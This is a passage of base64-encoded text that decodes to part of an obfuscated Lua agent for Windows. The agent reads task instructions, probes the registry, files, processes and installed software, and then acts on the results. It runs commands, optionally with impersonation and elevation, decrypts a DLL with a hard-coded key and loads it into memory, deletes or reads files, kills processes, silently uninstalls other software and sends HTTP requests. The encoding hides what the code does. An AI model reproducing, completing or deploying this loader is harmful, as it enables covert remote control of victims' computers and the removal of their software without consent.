dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
